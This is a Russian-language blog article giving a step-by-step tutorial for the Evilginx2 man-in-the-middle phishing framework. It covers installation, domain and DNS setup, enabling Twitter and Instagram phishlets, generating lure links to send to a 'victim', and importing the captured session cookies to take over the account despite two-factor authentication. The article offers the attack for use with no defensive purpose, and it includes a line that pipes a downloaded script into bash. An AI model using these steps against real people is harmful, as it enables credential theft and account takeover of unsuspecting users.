2FA Evilginx2 MITM Взлом Фишинг

Evilginx2: фишинг 2FA без проблем

Думаешь, 2FA невозможно обойти? Но не всё так плохо. Замечательный парень kgretzky написал тулзу под названием...

Evilginx2: фишинг 2FA без проблем

Думаешь, 2FA невозможно обойти? Но не всё так плохо. Замечательный парень kgretzky написал тулзу под названием Evilginx2, которая поможет нам обойти двухфакторную аутентификацию.

Поэтому в этой статье поговорим о фишинге и обходе двухфакторной аутентификации с помощью отличного инструмента – Evilginx2.

Cуть работы инструмента в том, что весь код страницы проксируется. Для конечного пользователя страница будет выглядеть абсолютно идентично оригинальной, а вернее – это оригинальная страница и есть.

Evilginx2 – это фреймворк типа «man-in-the-middle», используемый для фишинга учетных данных для входа в систему наряду с сеансовыми cookie-файлами, что, в свою очередь, позволяет обойти защиту двухфакторной аутентификации.

Этот инструмент является преемником Evilginx, выпущенного в ещё в 2017 году, который использовал пользовательскую версию HTTP-сервера nginx для обеспечения функционала «man-in-the-middle» в качестве прокси между браузером и фишинговым веб-сайтом. Настоящая версия, полностью написана на GO, как отдельное приложение.

Evilginx2 – реализует собственный HTTP и DNS-сервер, что делает его чрезвычайно простым в настройке и использовании.

Прелесть второй версии в том, что все работает в докере, что убирает весь геморрой с конфигурированием, и оставляет нам править простецкий yml файлик.

Список поддержвиаемых сервисов для фишинга, из коробки, впечатляет:

Набор фишлетов “из коробки”

Скачиваем исходники Go.

wget https://golang.org/dl/go1.15.3.src.tar.gz

Распаковываем:

tar –C /usr/local –xzf go1.15.3.src.tar.gz

Добавляем в свой .bashrc (или другой файл профиля) переменные, для запуска GO:

export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Теперь переходим к установке Evilginx2:

go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make

И осуществим пробный запуск, без настроек:

evilginx2

Переходим, непосредственно к практической части.

Убедитесь, что никакие службы в системе не прослушивают порты TCP 443, TCP 80 и UDP 53.

netstat –tplnu

Evilginx2 сообщит при запуске, если не удаcтся открыть прослушивающий сокет на любом из этих портов.

По умолчанию evilginx2 будет искать фишлеты в каталоге ./phishlets/, а затем в /usr/share/evilginx /phishlets/. Если вы хотите указать собственный путь для загрузки phishlets, используйте параметр -p <phishlets_dir_path> при запуске инструмента.

Вызов справки:

evilginx2 –h
Evilginx2: Фишинг и обход 2FA

Кроме этой, существует внутренняя справка по командам в самом Evilginx2.

Переходим, к настройке инструмента, перед проведением атаки.

Регистрируем домен и настраиваем серверы имен (ns1 и ns2) в панели администратора провайдера домена, чтобы они указывали на IP-адрес вашего сервера с Evilginx.

Настройте домен и IP-адрес вашего сервера, используя следующие команды:

config domain yourdomain.com
config ip (your ip)

Теперь вы можете настроить phishlet, который хотите использовать. В этом случае это будет phishlet Twitter. Установите имя хоста для phishlet (он должен содержать ваш домен).

phishlets hostname twitter twitter.com.maligncorp.com

Затем необходимо получить CNAME’s для фишлета twitter, и прописать их в админ панели Domain – провайдера:

Каноническое имя (запись CNAME) – это тип записи DNS, которая привязывает псевдоним к действительному (каноническому) доменному имени. Записи CNAME обычно используются для привязки субдомена, такого как www или mail к домену, в котором размещен контент этого субдомена. Например, запись CNAME может привязывать веб-адрес www.example.com к фактическому веб-сайту для домена example.com.

phishlets get-hosts twitter

Добавляем эти имена в панели управления, включаем в работу фишлет:

phishlets enable twitter

Ждём получения сертификатов, и если всё прошло успешно – видим такой вывод.

Сделаем редирект, на оригинальный домен twitter’a:

config redirect_url http://twitter.com

Затем, необходимо создать приманку – фишинговый путь к форме авторизации в твиттере, делается это так:

lures create twitter

Копируем path и добавляем его к нашей фишинговой ссылке, в итоге, она должна выглядеть так:

https://twitter.com.maligncorp.com/jNvKjIkI

Поделимся ей с жертвой наших манипуляций и подождём результата, примерно такого:

Ссылка выглядит стрёмно, (в защиту скажу – HTTPS) но кто на неё смотрит?

Ввод логина и пароля… и

Проверяем захваченные сессии, в случае, если пароль введен, верно, и вход в аккаунт осуществлён, в таблице, в столбце tokens будет значение captured, это означает, что помимо логина и пароля мы получили Cookies авторизованной сессии пользователя в twitter.

Чтобы не вводить логин и пароль, воспользуемся ими, чтобы войти в аккаунт жертвы:

sessions 7

Копируем всё это, переходим у себя в браузере на twitter.com, затем используя аддон, EditThisCookie импортируем данные и перезагружаем страницу:

С этим – всё ок, получилось. Теперь двухфакторная аутентификация.

Рассмотрим ситуацию, когда, цели необходимо восстановить пароль, та же 2FA с помощью телефона.

Приходит СМС от сервиса, и вводим полученный код:

Жертва сбрасывает пароль, в этом случае мы его не получаем, наш профит – это cookie текущей сессии.

Смотрим, что у нас в сессии, и копируем данные для импорта в браузер,

Итог, вполне предсказуем.

Это всё, что я хотел рассказать. Evilginx2 – очень крутой инструмент, советую посмотреть содержимое папки /phislets, уверен, натолкнёт на определенные мысли.

Можно пойти дальше и настроить всё прямо из Docker.

curl https://get.docker.com/ | bash
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
docker build . -t evilginx2
docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2
1.png.290e3507d11eb681c5461841464569f9.png

Второй пример я покажу на примере Instagram:

config domain example.org # подставить свое
config ip 10.0.0.23 # подставить свое
phishlets hostname instagram insta2.exmaple.org # подставить свое
phishlets enable instagram
lures create instagram
lures get-url 0
https://www.insta2.example.org/oEnQzLHb
3.png.9303619702a7c9a9850b5b907245c438.png

По ссылке для фишинга будет полная копия оригинального Instagram с возможностью авторизации вторым фактором.

Каждый ввод ввод данных генерит сессию, с любой из сессий можно забрать куки, и воспользоваться ими для входа в сервис.

Утилита совсем не сложна в использовании. Она великолепно работает, если вы создадите домен с похожим именем, но может работать и в сочетании с другими инструментами, о которых я уже писал.

Как видим ничего сложного. Инструмент работает как часы. Совсем не сложно и создать свой фишлет, нужно только немного разобраться.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *